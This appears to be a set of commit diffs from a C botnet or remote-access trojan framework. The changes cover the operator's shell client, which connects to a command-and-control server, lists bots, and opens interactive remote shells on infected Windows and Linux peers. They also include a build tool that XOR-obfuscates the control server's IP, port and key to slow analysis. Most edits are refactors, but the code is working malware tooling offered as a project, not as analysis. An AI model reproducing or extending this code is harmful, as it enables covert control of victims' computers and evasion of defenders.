if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub,
client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* setup socket */
@@ -239,21 +283,18 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this
* information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_IPV4_LEN);
laikaS_zeroWrite(sock, LAIKA_INET_LEN);
laikaS_endOutPacket(client->peer);
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
/* queue authenticated handshake request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
laikaS_writeByte(sock, PEER_AUTH);
laikaS_endOutPacket(client->peer);
/* the handshake requests will be sent on the next call to shellC_poll */
/* the handshake request will be sent on the next call to shellC_poll */
}
bool shellC_poll(tShell_client *client, int timeout) {
bool shellC_poll(tShell_client *client, int timeout)
{
struct sLaika_pollEvent *evnts;
int numEvents, i;
@@ -276,15 +317,18 @@ bool shellC_poll(tShell_client *client, int timeout) {
return true;
}
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) {
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv)
{
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init keypair!\n");
}
}
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id)
{
tShell_hashMapElem *elem =
(tShell_hashMapElem *)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
/* return peer if elem was found, otherwise return NULL */
if (elem) {
@@ -296,25 +340,27 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
}
}
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
{
/* find empty ID */
int id;
for (id = 0; id < client->peerTblCount; id++) {
for (id = 0; id < laikaM_countVector(client->peerTbl); id++) {
if (client->peerTbl[id] == NULL) /* it's empty! */
break;
}
/* if we didn't find an empty id, grow the array */
if (id == client->peerTblCount) {
laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap);
client->peerTblCount++;
/* if we didn't find an empty id, grow the array (ID is already set to the correct index) */
if (id == laikaM_countVector(client->peerTbl)) {
laikaM_growVector(tShell_peer *, client->peerTbl, 1);
laikaM_countVector(client->peerTbl)++;
}
/* add to peer lookup table */
client->peerTbl[id] = newPeer;
/* insert into hashmap */
hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
hashmap_set(client->peers,
&(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
/* let user know */
if (!shellC_isShellOpen(client)) {
@@ -324,7 +370,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
return id;
}
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id)
{
/* remove from bot tbl */
client->peerTbl[id] = NULL;
@@ -340,7 +387,8 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
shellP_freePeer(oldPeer);
}
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) {
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row)
{
/* check if we already have a shell open */
if (client->openShell)
return;
@@ -348,28 +396,54 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
/* send SHELL_OPEN request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t));
laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t));
laikaS_writeu16(&client->peer->sock, col);
laikaS_writeu16(&client->peer->sock, row);
laikaS_endOutPacket(client->peer);
client->openShell = peer;
}
void shellC_closeShell(tShell_client *client) {
void shellC_closeShell(tShell_client *client)
{
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */
if (!shellC_isShellOpen(client))
return;
/* send SHELL_CLOSE request */
laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeu32(&client->peer->sock, id);
laikaS_endOutPacket(client->peer);
client->openShell = NULL;
}
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
{
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
struct sLaika_socket *sock = &client->peer->sock;
/* check if we have a shell open */
if (!shellC_isShellOpen(client))
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&client->peer->sock, data, sz);
laikaS_writeu32(sock, id);
switch (client->openShell->osType) {
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
converted! */
laikaS_write(sock, data, sz);
break;
default:
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
for (i = 0; i < sz; i++) {
if (data[i] == '\n') {
/* convert to windows line endings */
laikaS_writeByte(sock, '\r');
laikaS_writeByte(sock, '\n');
} else {
laikaS_writeByte(sock, data[i]);
}
}
break;
}
laikaS_endVarPacket(client->peer);
}

View File

@@ -1,48 +1,54 @@
#include <setjmp.h>
#include "scmd.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "sclient.h"
#include "speer.h"
#include "scmd.h"
#include "sterm.h"
#include "lerror.h"
#define CMD_ERROR(...) do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while(0);
#include <setjmp.h>
#define CMD_ERROR(...) \
do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while (0);
jmp_buf cmdE_err;
/* ===========================================[[ Helper Functions ]]============================================= */
/* ===================================[[ Helper Functions ]]==================================== */
tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
tShell_peer *shellS_getPeer(tShell_client *client, int id)
{
if (id < 0 || id >= laikaM_countVector(client->peerTbl) || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id];
}
int shellS_readInt(char *str) {
int shellS_readInt(char *str)
{
return atoi(str);
}
/* ===========================================[[ Command Handlers ]]============================================= */
/* ===================================[[ Command Handlers ]]==================================== */
void helpCMD(tShell_client *client, int args, char *argc[]);
void helpCMD(tShell_client *client, int argc, char *argv[]);
void quitCMD(tShell_client *client, int args, char *argc[]) {
void quitCMD(tShell_client *client, int argc, char *argv[])
{
PRINTINFO("Killing socket...\n");
laikaS_kill(&client->peer->sock);
}
void listPeersCMD(tShell_client *client, int args, char *argc[]) {
void listPeersCMD(tShell_client *client, int argc, char *argv[])
{
int i;
for (i = 0; i < client->peerTblCount; i++) {
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i]) {
shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]);
@@ -50,14 +56,15 @@ void listPeersCMD(tShell_client *client, int args, char *argc[]) {
}
}
void infoCMD(tShell_client *client, int args, char *argc[]) {
void infoCMD(tShell_client *client, int argc, char *argv[])
{
tShell_peer *peer;
int id;
if (args < 2)
if (argc < 2)
CMD_ERROR("Usage: info [PEER_ID]\n");
id = shellS_readInt(argc[1]);
id = shellS_readInt(argv[1]);
peer = shellS_getPeer(client, id);
/* print info */
@@ -65,18 +72,19 @@ void infoCMD(tShell_client *client, int args, char *argc[]) {
shellP_printInfo(peer);
}
void openShellCMD(tShell_client *client, int args, char *argc[]) {
void openShellCMD(tShell_client *client, int argc, char *argv[])
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_peer *peer;
int id, sz, cols, rows;
if (args < 2)
if (argc < 2)
CMD_ERROR("Usage: shell [PEER_ID]\n");
id = shellS_readInt(argc[1]);
id = shellS_readInt(argv[1]);
peer = shellS_getPeer(client, id);
PRINTINFO("Opening shell on peer %04d...\n");
PRINTINFO("Opening shell on peer %04d...\n", id);
PRINTINFO("Use CTRL+A to kill the shell\n");
/* open shell on peer */
@@ -110,9 +118,10 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
PRINTSUCC("Shell closed!\n");
}
/* =============================================[[ Command Table ]]============================================== */
/* =====================================[[ Command Table ]]===================================== */
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
#define CREATECMD(_cmd, _syntax, _help, _callback) \
((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
@@ -124,11 +133,12 @@ tShell_cmdDef shellS_cmds[] = {
#undef CREATECMD
tShell_cmdDef *shellS_findCmd(char *cmd) {
tShell_cmdDef *shellS_findCmd(char *cmd)
{
int i;
/* TODO: make a hashmap for command lookup */
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
return &shellS_cmds[i]; /* cmd found */
}
@@ -136,44 +146,62 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
return NULL;
}
void helpCMD(tShell_client *client, int args, char *argc[]) {
void helpCMD(tShell_client *client, int argc, char *argv[])
{
int i;
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
shellT_printf("======= [[ %sCommand List%s ]] =======\n",
shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW),
shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE),
shellS_cmds[i].help);
}
}
void shellS_initCmds(void) {
void shellS_initCmds(void)
{
/* stubbed for now, TODO: setup command hashmap */
}
void shellS_cleanupCmds(void) {
void shellS_cleanupCmds(void)
{
/* stubbed for now, TODO: free command hashmap */
}
char **shellS_splitCmd(char *cmd, int *argSize) {
int argCount = 0;
int argCap = 4;
char **args = NULL;
char **shellS_splitCmd(char *cmd, int *argSize)
{
char *temp;
char *arg = cmd;
laikaM_newVector(char *, args);
laikaM_initVector(args, 4);
do {
/* replace space with NULL terminator */
if (arg != cmd)
if (arg != cmd) {
if (arg[-1] == '\\') { /* space is part of the argument */
/* remove the '\' character */
for (temp = arg - 1; *temp != '\0'; temp++) {
temp[0] = temp[1];
}
arg++;
continue;
}
*arg++ = '\0';
}
/* insert into our 'args' array */
laikaM_growarray(char*, args, 1, argCount, argCap);
args[argCount++] = arg;
/* insert into our 'args' vector */
laikaM_growVector(char *, args, 1);
args[laikaM_countVector(args)++] = arg;
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
*argSize = argCount;
*argSize = laikaM_countVector(args);
return args;
}
void shellS_runCmd(tShell_client *client, char *cmd) {
void shellS_runCmd(tShell_client *client, char *cmd)
{
tShell_cmdDef *cmdDef;
char **argc;
int args;

View File

@@ -1,53 +1,71 @@
#include "lmem.h"
#include "lpacket.h"
#include "speer.h"
#include "core/lmem.h"
#include "net/lpacket.h"
#include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) {
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,
char *inet, char *ipStr)
{
tShell_peer *peer = (tShell_peer *)laikaM_malloc(sizeof(tShell_peer));
peer->type = type;
peer->osType = osType;
/* copy pubKey to peer's pubKey */
memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
/* copy hostname & ipv4 */
/* copy hostname & ip */
memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN);
memcpy(peer->inet, inet, LAIKA_IPV4_LEN);
memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN);
memcpy(peer->inet, inet, LAIKA_INET_LEN);
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
/* restore NULL terminators */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->ipv4[LAIKA_IPV4_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
peer->ipStr[LAIKA_IPSTR_LEN - 1] = '\0';
return peer;
}
void shellP_freePeer(tShell_peer *peer) {
void shellP_freePeer(tShell_peer *peer)
{
laikaM_free(peer);
}
char *shellP_typeStr(tShell_peer *peer) {
char *shellP_typeStr(tShell_peer *peer)
{
switch (peer->type) {
case PEER_BOT: return "Bot";
case PEER_CNC: return "CNC";
case PEER_AUTH: return "Auth";
default: return "err";
case PEER_PEER:
return "Peer";
case PEER_BOT:
return "Bot";
case PEER_CNC:
return "CNC";
case PEER_AUTH:
return "Auth";
default:
return "err";
}
}
char *shellP_osTypeStr(tShell_peer *peer) {
char *shellP_osTypeStr(tShell_peer *peer)
{
switch (peer->osType) {
case OS_WIN: return "Windows";
case OS_LIN: return "Linux";
default: return "unkn";
case OS_WIN:
return "Windows";
case OS_LIN:
return "Linux";
default:
return "unkn";
}
}
void shellP_printInfo(tShell_peer *peer) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
void shellP_printInfo(tShell_peer *peer)
{
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and
doesn't break anything (ie doesn't write outside the buffer) */
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname,
shellP_osTypeStr(peer), peer->inet, buf);
}

View File

@@ -1,24 +1,60 @@
#include "lmem.h"
#include "scmd.h"
#include "sterm.h"
#define KEY_ESCAPE 0x001b
#define KEY_ENTER 0x000a
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#include "core/lmem.h"
#include "scmd.h"
#define cursorForward(x) printf("\033[%dC", (x))
#define KEY_ESCAPE 0x001b
#define KEY_ENTER 0x000a
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#define cursorForward(x) printf("\033[%dC", (x))
#define cursorBackward(x) printf("\033[%dD", (x))
#define clearLine() printf("\033[2K")
#define clearLine() printf("\033[2K")
/* =================================[[ DEPRECATED ARRAY API ]]================================== */
/*
this whole target needs to be rewritten, so these macros have been embedded here until a
rewrite can be done. this is the only section of the entire codebase that relies too heavily
on these to quickly exchange into the vector api equivalent. there's technically a memory leak
here since the array is never free'd, but since the array is expected to live the entire
lifetime of the program it's safe to leave as-is for now.
*/
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
struct termios orig_termios;
char *cmd, *prompt = "$> ";
char *cmd = NULL, *prompt = "$> ";
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
void shellT_conioTerm(void) {
void shellT_conioTerm(void)
{
struct termios new_termios;
/* take two copies - one for now, one for later */
@@ -31,32 +67,68 @@ void shellT_conioTerm(void) {
tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
}
void shellT_resetTerm(void) {
void shellT_resetTerm(void)
{
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
}
const char *shellT_getForeColor(TERM_COLOR col) {
const char *shellT_getForeColor(TERM_COLOR col)
{
switch (col) {
case TERM_BLACK: return "\033[30m"; break;
case TERM_RED: return "\033[31m"; break;
case TERM_GREEN: return "\033[32m"; break;
case TERM_YELLOW: return "\033[33m"; break;
case TERM_BLUE: return "\033[34m"; break;
case TERM_MAGENTA: return "\033[35m"; break;
case TERM_CYAN: return "\033[36m"; break;
case TERM_WHITE: return "\033[37m"; break;
case TERM_BRIGHT_BLACK: return "\033[90m"; break;
case TERM_BRIGHT_RED: return "\033[91m"; break;
case TERM_BRIGHT_GREEN: return "\033[92m"; break;
case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
case TERM_BRIGHT_BLUE: return "\033[94m"; break;
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
case TERM_BRIGHT_CYAN: return "\033[96m"; break;
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
case TERM_BLACK:
return "\033[30m";
break;
case TERM_RED:
return "\033[31m";
break;
case TERM_GREEN:
return "\033[32m";
break;
case TERM_YELLOW:
return "\033[33m";
break;
case TERM_BLUE:
return "\033[34m";
break;
case TERM_MAGENTA:
return "\033[35m";
break;
case TERM_CYAN:
return "\033[36m";
break;
case TERM_WHITE:
return "\033[37m";
break;
case TERM_BRIGHT_BLACK:
return "\033[90m";
break;
case TERM_BRIGHT_RED:
return "\033[91m";
break;
case TERM_BRIGHT_GREEN:
return "\033[92m";
break;
case TERM_BRIGHT_YELLOW:
return "\033[93m";
break;
case TERM_BRIGHT_BLUE:
return "\033[94m";
break;
case TERM_BRIGHT_MAGENTA:
return "\033[95m";
break;
case TERM_BRIGHT_CYAN:
return "\033[96m";
break;
case TERM_BRIGHT_WHITE:
default:
return "\033[97m";
break;
}
}
void shellT_printf(const char *format, ...) {
void shellT_printf(const char *format, ...)
{
va_list args;
va_start(args, format);
@@ -67,7 +139,8 @@ void shellT_printf(const char *format, ...) {
}
/* waits for input for timeout. returns true if input is ready to be read, false if no events */
bool shellT_waitForInput(int timeout) {
bool shellT_waitForInput(int timeout)
{
struct timeval tv;
fd_set fds;
@@ -81,16 +154,19 @@ bool shellT_waitForInput(int timeout) {
return select(1, &fds, NULL, NULL, &tv) > 0;
}
int shellT_readRawInput(uint8_t *buf, size_t max) {
int shellT_readRawInput(uint8_t *buf, size_t max)
{
return read(STDIN_FILENO, buf, max);
}
void shellT_writeRawOutput(uint8_t *buf, size_t sz) {
void shellT_writeRawOutput(uint8_t *buf, size_t sz)
{
write(STDOUT_FILENO, buf, sz);
fflush(stdout);
}
void shellT_getTermSize(int *col, int *row) {
void shellT_getTermSize(int *col, int *row)
{
struct winsize ws;
ioctl(STDIN_FILENO, TIOCGWINSZ, &ws);
@@ -98,18 +174,20 @@ void shellT_getTermSize(int *col, int *row) {
*row = ws.ws_row;
}
char shellT_getch(void) {
char shellT_getch(void)
{
int r;
char in;
if ((r = shellT_readRawInput((uint8_t*)&in, 1)) > 0) {
if ((r = shellT_readRawInput((uint8_t *)&in, 1)) > 0) {
return in;
} else {
return r;
}
}
int shellT_kbesc(void) {
int shellT_kbesc(void)
{
int c;
/* if no event waiting, it's KEY_ESCAPE */
@@ -118,11 +196,21 @@ int shellT_kbesc(void) {
if ((c = shellT_getch()) == '[') {
switch (shellT_getch()) {
case 'A': c = KEY_UP; break;
case 'B': c = KEY_DOWN; break;
case 'C': c = KEY_RIGHT; break;
case 'D': c = KEY_LEFT; break;
default: c = 0; break;
case 'A':
c = KEY_UP;
break;
case 'B':
c = KEY_DOWN;
break;
case 'C':
c = KEY_RIGHT;
break;
case 'D':
c = KEY_LEFT;
break;
default:
c = 0;
break;
}
} else {
c = 0;
@@ -130,76 +218,85 @@ int shellT_kbesc(void) {
/* unrecognized key? consume until there's no event */
if (c == 0) {
while (shellT_waitForInput(0)) shellT_getch();
while (shellT_waitForInput(0))
shellT_getch();
}
return c;
}
int shellT_kbget(void) {
int shellT_kbget(void)
{
char c = shellT_getch();
return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
}
void shellT_printPrompt(void) {
void shellT_printPrompt(void)
{
clearLine();
shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
if (cmdCount > cmdCursor)
cursorBackward(cmdCount-cmdCursor);
cursorBackward(cmdCount - cmdCursor);
fflush(stdout);
}
void shellT_setPrompt(char *_prompt) {
void shellT_setPrompt(char *_prompt)
{
prompt = _prompt;
}
bool isAscii(int c) {
return c >= ' ' && c <= '~'; /* covers every non-controller related ascii characters (ignoring the extended character range) */
/* covers every non-controller related ascii characters (ignoring the extended character range) */
bool isAscii(int c)
{
return c >= ' ' && c <= '~';
}
void shellT_addChar(tShell_client *client, int c) {
void shellT_addChar(tShell_client *client, int c)
{
int i;
switch (c) {
case KEY_BACKSPACE:
if (cmdCursor > 0) {
laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1);
cmdCursor--;
shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP: case KEY_DOWN: break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
case KEY_BACKSPACE:
if (cmdCursor > 0) {
laikaM_rmvarray(cmd, cmdCount, (cmdCursor - 1), 1);
cmdCursor--;
shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP:
case KEY_DOWN:
break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
shellT_printPrompt();
}
}

View File

@@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(genKey ${GENKEYSOURCE})
target_link_libraries(genKey PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@@ -1,10 +1,11 @@
#include "core/lerror.h"
#include "core/lsodium.h"
#include <stdio.h>
#include <string.h>
#include "lerror.h"
#include "lsodium.h"
int main(int argv, char **argc) {
int main(int argv, char **argc)
{
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
char buf[256];

View File

@@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(VMBoxGen ${VMTESTSOURCE})
target_link_libraries(VMBoxGen PUBLIC)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# generate the VMBOXCONFIG file
if(LAIKA_OBFUSCATE)
add_custom_command(TARGET VMBoxGen POST_BUILD

View File

@@ -0,0 +1 @@
../../../lib/include/lconfig.h

View File

@@ -1,38 +1,47 @@
#include "lconfig.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <inttypes.h>
#include "lconfig.h"
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
#define ERR(...) \
do { \
printf(__VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0);
#define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
"#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz) {
static void writeArray(FILE *out, uint8_t *data, int sz)
{
int i;
fprintf(out, "{");
for (i = 0; i < sz-1; i++) {
for (i = 0; i < sz - 1; i++) {
fprintf(out, "0x%02x, ", data[i]);
}
fprintf(out, "0x%02x};\n", data[sz-1]);
fprintf(out, "0x%02x};\n", data[sz - 1]);
}
void writeDefineArray(FILE *out, char *ident, uint8_t *data) {
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE);
}
void writeDefineVal(FILE *out, char *ident, int data) {
static void writeDefineVal(FILE *out, char *ident, int data)
{
fprintf(out, "#define %s 0x%02x\n", ident, data);
}
void addPadding(uint8_t *data, int start) {
static void addPadding(uint8_t *data, int start)
{
int i;
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
@@ -41,39 +50,46 @@ void addPadding(uint8_t *data, int start) {
}
}
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
int i;
for (i = 0; i < sz; i++)
buff[i] = data[i] ^ key;
buff[i++] = key; /* add the null terminator */
addPadding(buff, i);
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
}
#define MAKESKIDDATA(macro) \
key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, "KEY_" #macro, key); \
#define MAKESKIDDATA(macro) \
key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, "KEY_" #macro, key); \
writeDefineArray(out, "DATA_" #macro, tmpBuff);
int main(int argv, char **argc) {
int main(int argv, char **argc)
{
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key;
FILE *out;
char *fileName;
int key;
if (argv < 2)
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]);
/* open output file */
fileName = argc[1];
if ((out = fopen(fileName, "w+")) == NULL)
ERR("Failed to open %s!\n", fileName);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */
fprintf(out, PREAMBLE);
/* shared */
MAKESKIDDATA(LAIKA_CNC_IP);
MAKESKIDDATA(LAIKA_CNC_PORT);
MAKESKIDDATA(LAIKA_PUBKEY);
/* linux */
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
